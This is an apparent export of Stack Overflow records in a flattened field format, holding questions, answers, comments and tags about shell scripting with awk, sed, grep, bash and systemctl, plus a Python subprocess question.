http://stackoverflow.com/a/77082225
type: Answer
has body: Using the idiomatic decorate-sort-undecorate: $ awk -F'[/.]' -v OFS='\t' 'NR%2{desc=$0; next} {print $(NF-1), NR-1, desc ORS $(NF-1), NR, $0}' file | sort -k1,2n | cut -f3- description of file http://linktofile/11.txt description of file http://linktofile/22.doc description of file http://linktofile/33.txt
score: 0
answers question: http://stackoverflow.com/q/77038582

http://stackoverflow.com/a/77006589
answers question: http://stackoverflow.com/q/77006285
downvote count: 0
has body: Instead of splitting the input at every = character, extract the key and value in a different way. Possible solution (among others) awk 'FNR==NR{key=val=$0;sub(/=.*/,"",key);sub(/[^=]*=/,"",val);a[key]=val; next} match($0, "@[^@]*@"){ i=substr($0, RSTART+1, RLENGTH-2 "@"); gsub("@"i"@", a[i]); }1 ' testfile2.txt testfile1.txt
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/135643490
type: QuestionComment
has text: Sorry I didn't get you, As i mentioned in output section, need in that format so the data between these two delimiter <....../> should be in one single line with paticular space.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76944879

http://stackoverflow.com/a/77017969
type: Answer
answers question: http://stackoverflow.com/q/77016713
downvote count: 0
has body: I think the behaviour is due to Job Control, try this : set +m # Disable Job Control sleep 100;echo "Finished execution" set -m
score: 1
upvote count: 1

active-directory
tags question: http://stackoverflow.com/q/77059371
type: Tag
tag name: active-directory

http://stackoverflow.com/comment/135560894
type: Comment
score: 0
type: QuestionComment
has text: Quick and dirty: `for f1 in *; do for f2 in *; do if [ "${f1}" = "${f2}" ]; then continue; fi; caulatepet.py --i "${f1}" "${f2}" ... --out "./result/${f1}_{f2}.txt"; done; done` - However, this will run every pair of file twice - f1_f2 and f2_f1.
comment on: http://stackoverflow.com/q/76896765

http://stackoverflow.com/a/77006751
has body: awk -F@ -v OFS= ' # process the substitution table NR==FNR { # if it looks like a key/value pair, save it if (i=index($0,&quot;=&quot;)) a[ substr($0,1,i-1) ] = substr($0,i+1) # else warn about invalid line next } # process the template { # line has been split into fields on &quot;@&quot; # &quot;@&quot; come as pairs, so even fields are keys # warn if NF%2 != 0 # do the substitutions # undefined keys are replaced with &quot;&quot; # check key exists if that is not wanted for (i=2; i&lt;=NF; i+=2) $i=a[$i] print } ' testfile2.txt testfile1.txt
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/77006285
score: 3
upvote count: 3

http://stackoverflow.com/comment/135543954
type: Comment
score: 0
type: AnswerComment
has text: However, it did not work.
comment on: http://stackoverflow.com/a/76886550

http://stackoverflow.com/a/77044040
has body: How to achieve this ? With systemctl is_active service_name. the below command is showing it as active So it is active. If you want to know if a service is stopping, you can do systemctl show -p SubState service_name.
answers question: http://stackoverflow.com/q/77043781
has comment: http://stackoverflow.com/comment/135824098
type: Answer
has comment: http://stackoverflow.com/comment/135823376
score: 0

http://stackoverflow.com/comment/135641770
type: QuestionComment
type: Comment
score: 0
has text: its work, but i need press "ok" button
comment on: http://stackoverflow.com/q/76930863

http://stackoverflow.com/comment/135632415
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76937822
has text: aliases are meant for interactive shells; does defining a function instead works? `pa() { php artisan "$@"; }`

http://stackoverflow.com/comment/135554623
has text: Do you need to be able to distinguish between *addition* of lines to one file relative to the other on one hand, and *modification* of corresponding lines on the other?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76893303
type: Comment

http://stackoverflow.com/comment/135564756
comment on: http://stackoverflow.com/a/76897279
type: Comment
type: AnswerComment
has text: Also just to say: it's a terrible idea to add `@` to your makefiles. At the very least you should never add them until _after_ your makefile is completely working. If you didn't have the `@` here and you could see what make was actually invoking, perhaps it would have been more clear what the problem was.
score: 3

http://stackoverflow.com/comment/135840321
has text: Missing a `$` at the end of the regex (for safety).
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77051934

http://stackoverflow.com/comment/135891938
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77059371
has text: Please, [do not upload images of code/data/error](https://meta.stackoverflow.com/questions/285551/why-should-i-not-upload-images-of-code-data-errors/285557#285557).
type: QuestionComment

nohup
type: Tag
tags question: http://stackoverflow.com/q/76970324
tag name: nohup

http://stackoverflow.com/comment/135827416
comment on: http://stackoverflow.com/a/77045002
type: Comment
type: AnswerComment
score: 0
has text: ah interesting..because part of your solution i ended up implementing - that is set the docker compose image to the target registry. but i did not know about the docker-compose push option. there also seems to be a tags property that can be used to tag in docker-compose.

http://stackoverflow.com/comment/135588882
has text: What is your column delimiter? (If it's just whitespace, unquoted `Val a` cannot be a single value).
comment on: http://stackoverflow.com/q/76913085
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/77006285
type: Question
upvote count: 4
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77115824
has answer: http://stackoverflow.com/a/77104825
favorite count: 0
score: 4
tagged with: linux
has body: I have 2 files, want to create a new file based on the 2 files(testfile1 & 2).By reading the first file line by line from testfile1.txt and based on string matched between special char @ and its value from testfile2.txt. More detail below. testfile1.txt ## START :: start of file ## path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ # path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ ## END :: end of file ## testfile2.txt mysite.mw_path=/mw/mysite/cfg/DATA1/ mysite.mw_brkr_path=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ here is my command awk 'FNR==NR{a[$1]=$2; next} match($0, "@[^@]*@"){ i=substr($0, RSTART+1, RLENGTH-2 "@"); gsub("@"i"@", a[i]); }1 ' FS== testfile2.txt testfile1.txt ## START :: start of file ## path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/ # path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/ ## END :: end of file ## I'm getting the above output . I'm expecting the output like below. ## START :: start of file ## path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ # path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ ## END :: end of file ## Thanks in advance.
has answer: http://stackoverflow.com/a/77009159
downvote count: 0
has answer: http://stackoverflow.com/a/77006550
has title: awk - pattern replace and split only by first occurrence of seperator
has answer: http://stackoverflow.com/a/77006751
answer count: 6
tagged with: awk
has answer: http://stackoverflow.com/a/77006589

http://stackoverflow.com/comment/135561004
type: Comment
type: AnswerComment
score: 0
has text: Hi, @cforler Thank you for your suggestion I remove the OR "||" and replace the "-o" instead then it works as expected.
comment on: http://stackoverflow.com/a/76896721

http://stackoverflow.com/comment/135618521
score: 0
comment on: http://stackoverflow.com/q/76927538
type: QuestionComment
has text: In other words, "print only those projects from file1 which are mentioned, by project ID, in file2?"
type: Comment

http://stackoverflow.com/a/76927975
has body: In the following the output of commands is prefixed with -| . There are several issues: The shell does not expand parameters between single quotes but it expands them between double quotes. So, to assign shell variable VAR_INP you should use single quotes, not double quotes. Else the $... are expanded by the shell and your variable does not contain what you want any more. Demo: VAR_INP="TMP1=$1 ; $1=TMP1" echo "$VAR_INP" -| TMP1= ; =TMP1 VAR_INP='TMP1=$1 ; $1=TMP1' echo "$VAR_INP" -| TMP1=$1 ; $1=TMP1 To embed your shell variable in your awk script you cannot single-quote the script because single quotes prevent expansion. You could double quote your awk script, such that $VAR_INP is expanded by the shell before awk runs, but this would be very annoying because you would have to escape all other $... Use the -v option of awk to assign an awk variable, instead, and in your awk script refer to its value with just its name (no $): VAR_INP='TMP1=$1 ; $2=TMP1' awk -v VAR_INP="$VAR_INP" ' BEGIN {print VAR_INP} {VAR_INP; print}' <<< "a should-become-a" -| TMP1=$1 ; $2=TMP1 -| a should-become-a As you can see with the previous example, you cannot embed awk code in variables like this, awk has no equivalent of the bash eval, you cannot ask awk to execute the string in VAR_INP variable as if it was awk code. The closest is probably the system function but calling awk from awk would be uselessly complicated to solve your problem. Instead you can pass a variable with a list of numbers representing the ordered list of input field numbers in the output. The following example should work with any POSIX awk, it has been tested with GNU awk and the awk that comes with macOS: awk -F, -v OFS=, -v order='1,3,2,4' ' BEGIN {n=split(order,a)} {for(i=1;i<=n;i++) printf("%s%s", $(a[i]), i<n?OFS:ORS)} ' <<< "A,C,B,D" -| A,B,C,D Declare input and output field separators as ,. Pass the output order as variable order. In BEGIN split order on the input field separator, store the result in array …
score: 5
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/76927566
downvote count: 0

http://stackoverflow.com/comment/135725410
type: QuestionComment
has text: Should I and can I move this question to a different stackexchange, and if so how? @user207421
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76990480

http://stackoverflow.com/q/76937822
tagged with: vagrant-provision
upvote count: 1
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/76955957
has comment: http://stackoverflow.com/comment/135632415
downvote count: 0
score: 1
type: Question
tagged with: shell
has title: Create an alias in Vagrant shell provision
type: UnansweredQuestion
has body: I can't figure out why my alias definition within the Vagrantfile shell provisioning script is not working. This is (a part of) my Vagrantfile: config.vm.provision "shell", inline: <<-SHELL # this works #echo 'alias pa="php artisan"' >> ~/.bash_aliases && source ~/.bash_aliases # this doesn't alias pa="php artisan" # in order to be able to do this pa migrate --seed SHELL If I SSH into the guest and create an alias w/ alias="command" i can use the command immediately. But doing the same from the shell script doesn't work. What am I missing here?
has comment: http://stackoverflow.com/comment/135663303
tagged with: vagrantfile

http://stackoverflow.com/comment/135835933
type: AnswerComment
comment on: http://stackoverflow.com/a/77052639
has text: A note about `which bash` -- [Why not use "which"? What to use then?](https://unix.stackexchange.com/q/85249/4667)
score: 0
type: Comment

http://stackoverflow.com/comment/135771376
comment on: http://stackoverflow.com/a/77016008
type: Comment
has text: Yes, output is `${String_A} and add someting else` (over 3 lines.
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135645269
has text: -Thank you for it , please help here , actually the question I asked is subset of this one, here is the case , here testfile1 and testfile3 are same and testfile2 has 2 lines(key-value pairs) mysite.mw_path=/mw/mysite/cfg/DATA1/ mysite.mw_brkr_path=/usr/local/mw/mysite/cfg/DATA2/ `while IFS=@ read -r _ pattern1 _; do if [ -n "$pattern1" ]; then pattern2=$(grep "$pattern1" $2 | awk -F"=" '{ print $2 }') sed "s|$pattern1|$pattern2|g" testfile3.txt > output_21aug.txt fi done < "$1" ` test_script.sh testfile1.txt testfile2.txt sed is working for only 2nd line
comment on: http://stackoverflow.com/a/76945671
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135804773
type: AnswerComment
has text: You’re welcome! Please mark the answer as accepted so it doesn’t continue showing up as unanswered
score: 0
comment on: http://stackoverflow.com/a/77028857
type: Comment

http://stackoverflow.com/comment/135613811
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76903882
has text: I appreciate the useful links in your question; so this is related to the setting of `NAME_MAX`; I did not even know that we do have a **byte** limit for the length of a file name. I checked the [POSIX standard](https://pubs.opengroup.org/onlinepubs/009695399/basedefs/limits.h.html) and found that a POSIX-compliant implementation could even set the limit to as low as 14 bytes!!! Considering this, the 255 bytes set by Cygwin appears generous...

http://stackoverflow.com/comment/135803534
has text: Perfect! Works exactly how I wanted, is more concise and efficient. Many thanks
comment on: http://stackoverflow.com/q/77032828
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76941841
answers question: http://stackoverflow.com/q/76927538
has body: As you are adding grep tag, here is a grep solution: grep -E -f <(sed -E "s/^[0-9]+[[:blank:]]+([0-9]+).*/[[:blank:]]\1$/" endfilter3-all-b.txt) projectnameid.txt Output: cloud-ports 10965 common 9081 deploy-quote 8348 geographical-location-management 8549 internet-connections 9293 ipaddress 8536 order-notifications 11725 order-status 8353 port-inventory 8486 pricing-quotes 8493 product-catalogue 8489 stub-service 8510 The sed command s/^[0-9]+[[:blank:]]+([0-9]+).*/[[:blank:]]\1$/ extracts the 2nd field of endfilter3-all-b.txt, then prepend the pattern [[:blank:]] to it and anchor with $ to avoid partial match. With a help of bash process substitution expressed by <(commnd), the output of sed command is treated as a file fed to grep -f.
score: 2
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135828231
score: 0
type: Comment
type: AnswerComment
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
comment on: http://stackoverflow.com/a/77038337

redis
tags question: http://stackoverflow.com/q/76887171
type: Tag
tag name: redis
tags question: http://stackoverflow.com/q/78240103

http://stackoverflow.com/a/77710690
type: Answer
has body: This should work in Bash 4.3 and higher: declare -A lc_monetary while IFS='=' read -d $'\n' -r k v; do lc_monetary[$k]="$v" done < <(locale -k LC_MONETARY) You can then access all values related to LC_MONETARY via the associative array lc_monetary. For example, to access the currency symbol: currsym=lc_numeric["currency_symbol"] To get the full list of keys and values, use declare -p lc_monetary For the list of keys, do echo "${!lc_monetary[@]}" See the locale (5) man page for the different keys and their meaning.
has comment: http://stackoverflow.com/comment/137304782
answers question: http://stackoverflow.com/q/77046244
score: 0

orientation
type: Tag
tag name: orientation
tags question: http://stackoverflow.com/q/76944879

http://stackoverflow.com/comment/135757295
type: Comment
score: 0
has text: Not related to your problem, but `[ a == b ]` is a nonportable extension; the POSIX-standardized form is `[ a = b ]`
comment on: http://stackoverflow.com/q/77009102
type: QuestionComment

http://stackoverflow.com/q/76986722
has comment: http://stackoverflow.com/comment/135717620
has answer: http://stackoverflow.com/a/76986780
type: Question
has body: I have a text file which looks something like this 729590 fbe2d8c9-5b33-4758-8668-7e9f9f70085b 326e9ee4-da56-44de-ad40-e42f14dbf6c4 459590 d43bcb29-7c91-411c-ad5a-7450a927d2df 865431 f719b802-a7bd-4b83-aa02-08e3d3f351ff 8fcb6aed-9c87-4c0d-af94-9200830c4e27 c56378e8-fb14-4cd4-b816-020b328fb50a 345621 9fd92086-e681-4458-9631-cfa02d349fee 16cf1a8d-3fd8-49a3-b9fd-445a1413d280 07f31e67-07a4-4088-8cdd-9354d26cbd70 d6af1a35-563e-4e51-8533-0ec0a39d26fa e7ae32e8-3658-400b-ab95-5107bedb6f34 Using this file I would want to get an output in another csv file in a format shown below 729590,fbe2d8c9-5b33-4758-8668-7e9f9f70085b,some_text 729590,326e9ee4-da56-44de-ad40-e42f14dbf6c4,some_text 459590,d43bcb29-7c91-411c-ad5a-7450a927d2df,some_text 865431,f719b802-a7bd-4b83-aa02-08e3d3f351ff,some_text 865431,8fcb6aed-9c87-4c0d-af94-9200830c4e27,some_text 865431,c56378e8-fb14-4cd4-b816-020b328fb50a,some_text 345621,9fd92086-e681-4458-9631-cfa02d349fee,some_text 345621,16cf1a8d-3fd8-49a3-b9fd-445a1413d280,some_text 345621,07f31e67-07a4-4088-8cdd-9354d26cbd70,some_text 345621,d6af1a35-563e-4e51-8533-0ec0a39d26fa,some_text 345621,e7ae32e8-3658-400b-ab95-5107bedb6f34,some_text I have already written code to do it with the help of while loop but wanted to know that is their any other simple way to do it, may be using awk command.
accepted answer: http://stackoverflow.com/a/76986780
type: AnsweredQuestion
answer count: 1
has title: In a given file use line with short length as a key and longer length as a value and get the output in another file
tagged with: shell
score: -3
downvote count: 4
tagged with: bash
upvote count: 1
favorite count: 0
tagged with: awk

http://stackoverflow.com/comment/135781596
score: 0
has text: you are right for `shell`, but not for `excec`: [nodeJS exec does not work for "cd " shell cmd](https://stackoverflow.com/questions/15629923/nodejs-exec-does-not-work-for-cd-shell-cmd)
comment on: http://stackoverflow.com/a/77022553
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135763941
has text: For your desired `"output"` are you showing what you truly want for `"var2"` and `"var3"` values for `"hello"`, `"hi"`, and `"bye"`? I.e., you currently show the values from `"var1"` repeated and lose the values from the original input.
comment on: http://stackoverflow.com/q/77012572
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135743353
score: 0
type: QuestionComment
has text: @JohnBollinger Thank you so much. I am really new to this, and the example I used to learn how to do the mailx had the - before the emails, and it made sense to me because of the -r -s -a throughout so I thought - meant the email addreses were to follow. It never dawned on me that the - was trying to be used as an email and thats why the - was before the @ in the error mail. Thank you for taking the time to answer and not makign me feel dumb for such a simple mistake.
type: Comment
comment on: http://stackoverflow.com/q/76993432

http://stackoverflow.com/comment/135816089
type: Comment
score: 0
has text: thanks a lot this is elegant, just that if you're on macOS use bash specifically
type: QuestionComment
comment on: http://stackoverflow.com/q/77041956

http://stackoverflow.com/comment/135883339
has text: I agree that many or all implementations do this. It also seems logical to me. But I wish the POSIX spec was more clear. In [Shell & Utilities - Utility Description Defaults](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap01.html#tag_17_04) has an example similar to my case: `cat file | (sed -n 1q; cat)`, and says "command leaves the file offset in the open file description in an unspecified state. Other utilities, such as head, read, and sh, have similar properties." - `read` is explicitly mentioned.
type: AnswerComment
comment on: http://stackoverflow.com/a/77055259
score: 1
type: Comment

http://stackoverflow.com/comment/135799792
score: 0
has text: @CharlesDuffy yes, excellent point. Tried it with quotes which made error tracking much more informative and predictable. It works flawlessly regardless of length of array. I just had to becareful not to kill the parent session or else all my child subshells would die as well
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77025220

http://stackoverflow.com/comment/135823376
type: Comment
score: 0
type: AnswerComment
has text: I want to know whether the service has successfully started or not. If I stop the service and run `systemctl show -p SubState service_name` then also i am getting `SubState=exited` which is the same output when the service is started.
comment on: http://stackoverflow.com/a/77044040

http://stackoverflow.com/comment/135718913
type: QuestionComment
comment on: http://stackoverflow.com/q/76987590
has text: Thank you, that was a good catch . I edited the question with the additional / it says: " extra characters after command"
score: 0
type: Comment

http://stackoverflow.com/comment/135690928
type: Comment
comment on: http://stackoverflow.com/q/76971571
type: QuestionComment
score: 0
has text: Dear shellter, thanks for your reply. I would like to save the '.nc' data corresponding to each file sorted by date $m$d after making changes to it in a new '.nc' file with the corresponding time prefix. e.g., glo12_rg_1h-m_20210201.nc ---save after removing variables into --- data_01.nc, glo12_rg_1h-m_20210202.nc ---into---data_02.nc, ...etc

http://stackoverflow.com/q/77038582
has answer: http://stackoverflow.com/a/77038661
possible better answer: http://stackoverflow.com/a/77038661
answer count: 3
has answer: http://stackoverflow.com/a/77082225
score: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135821186
has comment: http://stackoverflow.com/comment/135809433
accepted answer: http://stackoverflow.com/a/77049489
has body: I need to get some file content sorted. The file content looks like ... description of file http://linktofile/33.txt description of file http://linktofile/11.txt description of file http://linktofile/22.doc ... Now I want to cut the entries out and paste them into a new file in correct order so it looks like description of file http://linktofile/11.txt description of file http://linktofile/22.doc description of file http://linktofile/33.txt ... Is it possible to let sed look for the number in that lines with link and then cut the whole line out into a new file with correct order and also with the respective above file description?
type: AnsweredQuestion
has title: sed find lines with sequential numbers and copy them sorted to new file
tagged with: sed
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/77049489
has comment: http://stackoverflow.com/comment/135810321

http://stackoverflow.com/comment/135641361
type: QuestionComment
comment on: http://stackoverflow.com/q/76943562
type: Comment
score: 1
has text: @Uberhumus this question help for the header problem, but does not clarify how to do a summary of all files

http://stackoverflow.com/comment/135760182
type: AnswerComment
has text: This `-c` is twined with [grep not supporting](https://stackoverflow.com/questions/49268581/counting-occurrences-of-a-specific-number/49268736#49268736) `-co` to give string count. So `grep -ow | wc -l` gives the right number while `grep -cow` gives a number of lines. Sigh. So, *two* features that grep should support.
score: 0
comment on: http://stackoverflow.com/a/76969187
type: Comment

http://stackoverflow.com/comment/135643633
comment on: http://stackoverflow.com/q/76944879
score: 0
type: QuestionComment
type: Comment
has text: my example contains those delimiters and multiple spaces. Should every `<` start a new line? How many lines should this become: `<a b="c < < < "/><!-- <e f=" /> /> />"/>-->` ?

http://stackoverflow.com/q/76893303
has answer: http://stackoverflow.com/a/76899209
has comment: http://stackoverflow.com/comment/135559221
score: 0
type: Question
tagged with: shell
has title: Is there an assymetrical diff option or command on GNU/linux?
has comment: http://stackoverflow.com/comment/135555244
has comment: http://stackoverflow.com/comment/135554623
upvote count: 1
has comment: http://stackoverflow.com/comment/135555074
accepted answer: http://stackoverflow.com/a/76893324
has body: is there a version of diff that runs diff a.txt b.txt and shows only lines in a.txt that are not in b.txt or lines in a.txt that are modified versions of lines in b.txt. (I am running GNU/linux mint, but I presume this to be of little relevance)
answer count: 2
has comment: http://stackoverflow.com/comment/135559028
has comment: http://stackoverflow.com/comment/135555123
tagged with: bash
has answer: http://stackoverflow.com/a/76893324
possible better answer: http://stackoverflow.com/a/76899209
favorite count: 0
type: AnsweredQuestion
downvote count: 1

http://stackoverflow.com/comment/135551267
score: 0
comment on: http://stackoverflow.com/q/76887171
has text: @Barmar That does not work. `"$key"` is still evaluated with single quotes and therefore still returns `(nil)`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135815361
comment on: http://stackoverflow.com/q/77040845
type: QuestionComment
score: 0
type: Comment
has text: Is it a binary plist or an XML plist? If it is binary then I don't know how to read it, maybe with `defaults`? if it is XML then you need to [Edit](https://stackoverflow.com/posts/77040845/edit") your question and add the XML structure, or else nobody can help you

http://stackoverflow.com/q/76978545
tagged with: timeout
tagged with: bash
type: Question
has body: I am trying to set time out for df command and kill the command if its time out, use: Its for a script to check df output but some times if df hung the script also get hung. I tried TIMEOUT=10 df -hTP & PID=$! wait $PID $TIMEOUT if [ $? -eq 0 ]; then cat <&3 else kill $PID echo "The df command hung" fi But I am getting error line 166: wait: pid 10 is not a child of this shell error: List of process IDs must follow -q. what I am looking check the df command, if not hung just display df output , if hung just kill df, and continue rest of the script part. Please help me to fix this. Regards, Vijay
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/687948
linked to: http://stackoverflow.com/q/687948
has comment: http://stackoverflow.com/comment/135703635
score: 0
has comment: http://stackoverflow.com/comment/135704652
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135703168
has title: Set time out for df and exit if it hung

http://stackoverflow.com/comment/135564742
comment on: http://stackoverflow.com/a/76897279
has text: Pointing to another site with a will-be-deleted example is not great on SO where this answer might be read years from now and that link is useless. Please edit your question and put the content there. The reason is that every logical line in a recipe is run in a _separate shell_. So if you want _shell context_ to be available on multiple physical lines you have to turn them into a single logical line by adding backslashes (of course you also need to add another `;` and remove the `@`.
score: 2
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135595518
has text: Thank you for your question and answer ! I edited my question. Regarding your concerns, I had to remove `@sh` filter (safely escapes each of the elements in the array.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76916586

http://stackoverflow.com/comment/135586758
has text: @mkrieger1, I am wondering, does it have to be executable? I remember I have called a bash script without it being executable before.
comment on: http://stackoverflow.com/q/76911748
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135797192
comment on: http://stackoverflow.com/q/77031226
score: 0
type: QuestionComment
type: Comment
has text: Thanks @F.Hauri-GiveUpGitHub and Mark Setchell, your comments made it work. If you post it as an answer, I can mark it as solved.

http://stackoverflow.com/a/76986512
has body: grep 'WHERE.*ALP_ACCT_PROD_ID' File1.csv WHERE - Literal match on WHERE. .* - Match on . (any character) * times (zero or more times) ALP_ACCT_PROD_ID - Literal match on ALP_ACCT_PROD_ID.
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76986443
downvote count: 0
score: 1

http://stackoverflow.com/comment/135810801
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77039367
has text: You have to install it by following the first link I gave (xidel)

http://stackoverflow.com/a/77055259
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/77051352
type: Answer
has body: Yes, you can depend on the read built-in to (appear to) not buffer input. Normal operation is for read to take input a byte at a time to ensure that it does not read past the next newline character. Some shells (including Bash) have an optimization whereby they read blocks of data at a time but they use "seek" to position the file input position back to just after the next newline. However, "seek" cannot be used with some inputs (including input from pipes, named pipes (aka FIFOs), and sockets) so the optimization is not applicable and reading has to be done byte-by-byte, which is slow. The read commands in the code in the question are taking input from a pipe so they will read byte-by-byte. For more technical details, see the answer by Stéphane Chazelas to Why some shells read builtin fail to read the whole line from file in /proc? on Unix & Linux Stack Exchange. (Relevant information starts at paragraph 3). Also see head eats extra characters.
has comment: http://stackoverflow.com/comment/135883339
score: 4

http://stackoverflow.com/comment/135771714
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77014844
has text: @Robert: It seems that this is not it.

http://stackoverflow.com/comment/135595691
comment on: http://stackoverflow.com/a/76916640
type: Comment
type: AnswerComment
has text: You are right, upvoted. Sorry about that. Not sure why (out of habit) added quotes around "$monitored_paths". Do you know why that failed ?
score: 0

http://stackoverflow.com/q/76968448
has comment: http://stackoverflow.com/comment/135696510
tagged with: jenkins
has body: I've a Jenkins robot framework file that uses two shell scripts. Shell Script1: It creates a tar ball of the test environment and stores it in a certain location/path. Shell script2: It is to deploy the test environment created & stored in a certain location. So to run the shell script2, I need to use the path of the test enviroment stored location created by script1. I've created a variable like below in script1 and stored the path. export TARBALL_PATH="${DEST_FOLDER}/test_tar_ball The question is how to use the variable "TARBALL_PATH" in shell script2 to deploy the test env(created and stored in script1)? In script2, tried to use the "TARBALL_PATH" variable created in script1 like below but it did not workout. echo $TARBALL_PATH WS_DIR=`TARBALL_PATH` Can someone help me with the issue? My script uses #!/bin/bash Thanks in advance.
has comment: http://stackoverflow.com/comment/135697419
type: Question
has comment: http://stackoverflow.com/comment/135684525
type: UnansweredQuestion
has title: How to use the path generated in one shell script in another shell script?
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/135696060
tagged with: shell
tagged with: robotframework
has comment: http://stackoverflow.com/comment/135685914

http://stackoverflow.com/q/77048492
has answer: http://stackoverflow.com/a/77048783
favorite count: 0
downvote count: 1
tagged with: command
tagged with: python-3.x
type: Question
upvote count: 0
tagged with: subprocess
type: UnansweredQuestion
answer count: 1
has body: When attempting to call run() on subprocess, I noticed if I call it as an attribute on stdout, I correctly get str as my type. out = subprocess.run(['ls'], check=True, capture_output=True , universal_newlines=True).stdout print(type(out)) #returns: <class 'str'> However, upon removing the ".stdout", I get an instance of CompletedProcess: out = subprocess.run(['ls'], check=True, capture_output=True , universal_newlines=True) print(type(out)) #returns: <class 'subprocess.CompletedProcess'> I have included the universal_newlines which should convert it from bytes output to a string format. universal_newlines is the more updated version of text=True. I tried swapping between them, gives me the same result. It seems like .run() returns a CompletedProcess object and I had to access a string via the attribute stdout. I don't think that is correct, but that's how I am interpreting it at the moment. Many examples online I've noticed do not ever have to ".stdout" at the end of .run(), text=True / universal_newlines=True seems sufficient in other examples I've seen. If anyone can provide some clarify, I would really appreciate it!
has title: Why does subprocess return a string when called on stdout otherwise returns instance of CompletedProcess
tagged with: python
score: -1
tagged with: shell

http://stackoverflow.com/comment/135719788
score: 0
has text: Why wouldn't it? I tested it and it works. However i don't like that it creates a saltfile and then deletes it. Potentionally many clients might execute this script simultaneously and this would cause a problem. I'm trying to assign the value of the curl to a variable but it I can't make it...
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76987964

http://stackoverflow.com/comment/135543955
has text: time = datetime.datetime.strptime("float(sys.argv[1])", "%H:%M:%S") # suppose that the time is 07:12:54 File "/usr/local/Cellar/python@3.9/3.9.13_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/_strptime.py", line 568, in _strptime_datetime tt, fraction, gmtoff_fraction = _strptime(data_string, format) File "/usr/local/Cellar/python@3.9/3.9.13_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/_strptime.py", line 349, in _strptime raise ValueError("time data %r does not match format %r" % ValueError: time data 'float(sys.argv[1])' does not match format '%H:%M:%S'
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76886550

http://stackoverflow.com/comment/135656442
type: QuestionComment
has text: https://stackoverflow.com/a/287944/10687907
score: 2
comment on: http://stackoverflow.com/q/76952166
type: Comment

vagrant-provision
type: Tag
tag name: vagrant-provision
tags question: http://stackoverflow.com/q/76937822
tags question: http://stackoverflow.com/q/78235389

http://stackoverflow.com/a/76931283
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/76928930
has body: Based on the second link by C.Nivs I found an answer in another post that solves my issue perfectly by using a new, free package called comman_runner. Here is how my code would look like and would produce my desired screen output: # pip install command_runner # install the package from command_runner import command_runner # import the package def func(command): exit_code, output = command_runner(command, shell=True, live_output=True) func('python my_python_program.py --par my_parameter_file.py')
answers question: http://stackoverflow.com/q/76928930
type: AcceptedAnswer

http://stackoverflow.com/comment/135657193
type: QuestionComment
score: 2
type: Comment
has text: why do you have a testfile3 that's the same as testfile1, and where does it fit in?
comment on: http://stackoverflow.com/q/76952315

http://stackoverflow.com/comment/135813461
has text: @GillesQuénot With `xidel` you can do `//testng-results/(@passed div @total)`
comment on: http://stackoverflow.com/a/77039367
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135766208
type: Comment
comment on: http://stackoverflow.com/q/77006747
score: 0
type: QuestionComment
has text: No. No gaps in between. No duplicates. Just straight forward.

http://stackoverflow.com/q/76982715
has comment: http://stackoverflow.com/comment/135711522
type: Question
has title: Autodock 4 automation script
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135711531
score: 0
answer count: 0
tagged with: bioinformatics
tagged with: shell
tagged with: docking
